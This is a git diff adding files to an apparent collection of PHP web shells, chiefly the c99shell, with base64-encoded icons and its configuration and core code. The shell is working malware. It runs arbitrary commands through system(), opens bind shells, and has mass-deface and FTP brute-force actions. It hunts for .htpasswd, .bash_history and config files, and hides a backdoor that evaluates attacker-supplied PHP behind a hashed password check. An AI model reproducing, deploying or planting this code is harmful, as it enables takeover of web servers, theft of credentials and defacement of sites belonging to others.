+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+"WqsJADs=",
+"home"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+"mode"=>
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+"refresh"=>
+"R0lGOD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M5SAcDNoZwOBAINxV".
+"EQA7",
+"ext_asp"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+"ext_au"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+"ext_avi"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
+"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
+"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
+"ext_bat"=>
+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
+"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
+"dmrYAMn1onq/YKpjvEgAADs=",
+"ext_bin"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAgv///wAAAICAgMDAwICAAP//AAAAAAAAAANJ".
+"aLLc9lCASecQ8MlKB8ARRwVkEIqdqU0EEXCDqkxB4VZxSBTB8lqyTSD2+eVWE0lP8DrORgMiwLkZ".
+"/aZBVOqkpUa/4KisRC6rEgA7",
+"ext_bmp"=>
+"R0lGODlhEAAQADMAACH5BAEA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AADs=",
+"ext_cpc"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_cpl"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAgv///wAAAICAgMDAwICAAP//AAAAAAAAAANJ".
+"aLLc9lCASecQ8MlKB8ARRwVkEIqdqU0EEXCDqkxB4VZxSBTB8lqyTSD2+eVWE0lP8DrORgMiwLkZ".
+"/aZBVOqkpUa/4KisRC6rEgA7",
+"ext_cpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+"Eq7YrLDE7a4SADs=",
+"ext_crl"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_crt"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1oo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HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_img"=>
+"R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV".
+"Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp".
+"qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq".
+"BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==",
+"ext_inf"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_ini"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_isp"=>
+"R0lGODlhEAAQADMAACH5BAEAAAwALAAAAAAQABAAgwAAAICAAP8A/wCAgAD/////AP///8DAwICA".
+"gIAAgACAAAD/AAAAAAAAAAAAAAAAAARakMl5xjghzC0HEcIAFBrH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gwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA".
+"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q".
+"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3".
+"EzWCgwARADs=",
+"ext_php"=>
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
+"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
+"ext_pif"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAEO/DISasEOGuNDkJMeDDjGH7HpmYd9jwazKUybG+tvOlA7gK1mYv3w7RW".
+"mJRRiRQ2Z5+odNqxWK/YrDUCADs=",
+"ext_pl"=>
+"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
+"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
+"ext_png"=>
+"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA".
+"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q".
+"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3".
+"EzWCgwARADs=",
+"ext_reg"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgACAgMDAwAD//wAAAAAAAANM".
+"aCrcrtCIQCslIkprScjQxFFACYQO053SMASFC6xSEQCvvAr2g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5BAEAAAEALAAAAAAQABAAgAAAAAAAAAIdjI+pq+DAEIzpTXputLi9rmGc".
+"ETbgR3aZmrIlVgAAOw==",
+"ext_shtml"=>
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAIdjI+pq+DAEIzpTXputLi9rmGc".
+"ETbgR3aZmrIlVgAAOw==",
+"ext_so"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_stl"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_swf"=>
+"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
+"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
+"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
+"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
+"ext_sys"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAgv///wAAAICAgMDAwICAAP//AAAAAAAAAANJ".
+"aLLc9lCASec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AARYUElAK5VY2X0xp0LRTVYQAMWZaZWJAMJImiYVhEVmu7W4".
+"srfeSUAUeFI10GBJ1JhEHcEgNiidDIaEQjqtAgiEjQFQXcK+4HS4DPKADwey3PjzSGH1VTsTAQA7",
+"ext_wav"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+"ext_wma"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+"ext_wmf"=>
+"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA".
+"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q".
+"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3".
+"EzWCgwARADs=",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_xml"=>
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+"IQA7",
+"ext_xsl"=>
+"R0lGODlhEAAQAEQAACH5BAEAABIALAAAAAAQABAAhAAAAPHx8f///4aGhoCAAP//ADNmmabK8AAA".
+"gAAAmQCAgDP//zNm/zOZ/8DAwDOZAAAA/zPM/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAV3oDSMZDlKqBgIa8sKzpAOr9s6gqzWPOADItZhpVAwhCvgIHBICBSCRQMh".
+"SAyVTZZiEXkgVlYl08loPCBUa0ApIBBWiDhSAHQXfLZavcAnABQGgYFJBHwDAAV+eWt2AAOJAIKD".
+"dBKFfQABi0AAfoeZPEkSP6OkPyEAOw=="
+);
+$imgequals = array(
+"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml"),
+"ext_htaccess"=>array("ext_htaccess","ext_htpasswd")
+);
+ ksort($arrimg);
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v)
+ {
+ if (in_array($img,$v)) {$img = $k;}
+ }
+ if (empty($arrimg[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($arrimg[$img]);
+ }
+ else
+ {
+ echo "";
+ $k = array_keys($arrimg);
+ foreach ($k as $u)
+ {
+ echo $u.": ";
+ }
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about")
+{
+ $dàta = "Any stupid copyrights and copylefts";
+ echo $data;
+}
+
+$microtime = round(getmicrotime()-$starttime,4);
+?>
+
+
+
+
+--[ c99shell v. © powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: ]--
+
+
diff --git a/xakep-shells/PHP/c99shell_v1.0.php.php.txt b/xakep-shells/PHP/c99shell_v1.0.php.php.txt
new file mode 100644
index 0000000..ca7c4d6
--- /dev/null
+++ b/xakep-shells/PHP/c99shell_v1.0.php.php.txt
@@ -0,0 +1,2900 @@
+array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"),
+ "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar")
+);
+
+$hexdump_lines = 8; // lines in hex preview file
+$hexdump_rows = 24; // 16, 24 or 32 bytes in one line
+
+$nixpwdperpage = 9999; // Get first N lines from /etc/passwd
+
+$bindport_pass = "c99"; // default password for binding
+$bindport_port = "11457"; // default port for binding
+
+/* Command-aliases system */
+$aliases = array();
+$aliases[] = array("-----------------------------------------------------------", "ls -la");
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */ $aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls");
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ suid áèòîì */ $aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls");
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */ $aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls");
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ sgid áèòîì */ $aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls");
+/* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */ $aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php");
+/* ïîèñê íà ñåðâåðå ôàéëîâ config* */ $aliases[] = array("find config* files", "find / -type f -name \"config*\"");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ config* */ $aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\"");
+/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ $aliases[] = array("find all writable directories and files", "find / -perm -2 -ls");
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ $aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls");
+/* ïîèñê íà ñåðâåðå ôàéëîâ service.pwd ... frontpage =))) */ $aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ service.pwd */ $aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd");
+/* ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd */ $aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .htpasswd */ $aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd");
+/* ïîèñê âñåõ ôàéëîâ .bash_history */ $aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .bash_history */ $aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history");
+/* ïîèñê âñåõ ôàéëîâ .fetchmailrc */ $aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .fetchmailrc */ $aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc");
+/* âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs */ $aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va");
+/* ïðîñìîòð îòêðûòûõ ïîðòîâ */ $aliases[] = array("show opened ports", "netstat -an | grep -i listen");
+
+$sess_method = "cookie"; // "cookie" - Using cookies, "file" - using file, default - "cookie"
+$sess_cookie = "c99shvars"; // cookie-variable name
+
+if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));}
+$sess_file = $tmpdir."c99shvars_".$sid.".tmp";
+
+$usefsbuff = true; //Buffer-function
+$copy_unset = false; //Delete copied files from buffer after pasting
+
+//Quick launch
+$quicklaunch = array();
+$quicklaunch[] = array(" ",$surl);
+$quicklaunch[] = array(" ","#\" onclick=\"history.back(1)");
+$quicklaunch[] = array(" ","#\" onclick=\"history.go(1)");
+$quicklaunch[] = array(" ",$surl."act=ls&d=%upd");
+$quicklaunch[] = array(" ","");
+$quicklaunch[] = array(" ",$surl."act=search&d=%d");
+$quicklaunch[] = array(" ",$surl."act=fsbuff&d=%d");
+$quicklaunch[] = array("Mass deface ",$surl."act=massdeface&d=%d");
+$quicklaunch[] = array("Bind ",$surl."act=bind&d=%d");
+$quicklaunch[] = array("Processes ",$surl."act=ps_aux&d=%d");
+$quicklaunch[] = array("FTP Quick brute ",$surl."act=ftpquickbrute&d=%d");
+$quicklaunch[] = array("LSA ",$surl."act=lsa&d=%d");
+$quicklaunch[] = array("SQL ",$surl."act=sql&d=%d");
+$quicklaunch[] = array("PHP-code ",$surl."act=eval&d=%d");
+$quicklaunch[] = array("PHP-info ",$surl."act=phpinfo\" target=\"blank=\"_target");
+$quicklaunch[] = array("Self remove ",$surl."act=selfremove");
+$quicklaunch[] = array("Logout ","#\" onclick=\"if (confirm('Are you sure?')) window.close()");
+
+//Hignlight-code colors
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+
+@$f = $_GET[f];
+
+//END CONFIGURATION
+
+// \/ Next code not for editing \/
+
+
+//Starting calls
+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+error_reporting(5);
+@ignore_user_abort(true);
+@set_magic_quotes_runtime(0);
+@set_time_limit(0);
+if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
+if(!ini_get("register_globals")) {import_request_variables("GPC");}
+$starttime = getmicrotime();
+if (get_magic_quotes_gpc())
+{
+if (!function_exists("strips"))
+{
+ function strips(&$el)
+ {
+ if (is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} }
+ else {$el = stripslashes($el);}
+ }
+}
+strips($GLOBALS);
+}
+$tmp = array();
+foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99shell : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+
+if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);}
+elseif(empty($md5_pass)) {$md5_pass = md5($pass);}
+if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass))
+{
+ header("WWW-Authenticate: Basic realm=\"c99shell\"");
+ header("HTTP/1.0 401 Unauthorized"); if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);}
+ exit;
+}
+
+$lastdir = realpath(".");
+chdir($curdir);
+
+if (($selfwrite) or ($updatenow))
+{
+ if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
+ c99sh_getupdate();
+ $data = file_get_contents($c99sh_updatefurl);
+ $fp = fopen($data,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ exit;
+}
+if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);}
+if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));}
+else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);}
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+$sess_data["copy"] = array_unique($sess_data["copy"]);
+$sess_data["cut"] = array_unique($sess_data["cut"]);
+
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_method;
+ global $sess_cookie;
+ global $sess_file;
+ global $sess_data;
+ $sess_data = $data;
+ $data = serialize($data);
+ if ($sess_method == "file")
+ {
+ $fp = fopen($sess_file,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ else {setcookie($sess_cookie,$data);}
+}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0, $len)."...".substr($content, -$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+ $h = opendir($d);
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
+ else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ return true;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ $t = str_replace("\\","/",$t);
+ if (!is_dir($t)) {mkdir($t);}
+ if (is_dir($d))
+ {
+ if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
+ if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+
+ return copy($d,$t);
+ }
+ else {return false;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ error_reporting(9999);
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = true;
+ if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
+ else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ return true;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ $t = str_replace("\\","/",$t);
+ if (is_dir($d))
+ {
+ if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
+ if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d)) {return rename($d,$t);}
+ else {return false;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o."/"); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\","/",$o);
+ if (is_dir($o))
+ {
+ if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return false;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+ function myshellexec($cmd)
+ {
+ return system($cmd);
+ }
+}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner['read'] = ($mode & 00400) ? "r" : "-";
+ $owner['write'] = ($mode & 00200) ? "w" : "-";
+ $owner['execute'] = ($mode & 00100) ? "x" : "-";
+ $group['read'] = ($mode & 00040) ? "r" : "-";
+ $group['write'] = ($mode & 00020) ? "w" : "-";
+ $group['execute'] = ($mode & 00010) ? "x" : "-";
+ $world['read'] = ($mode & 00004) ? "r" : "-";
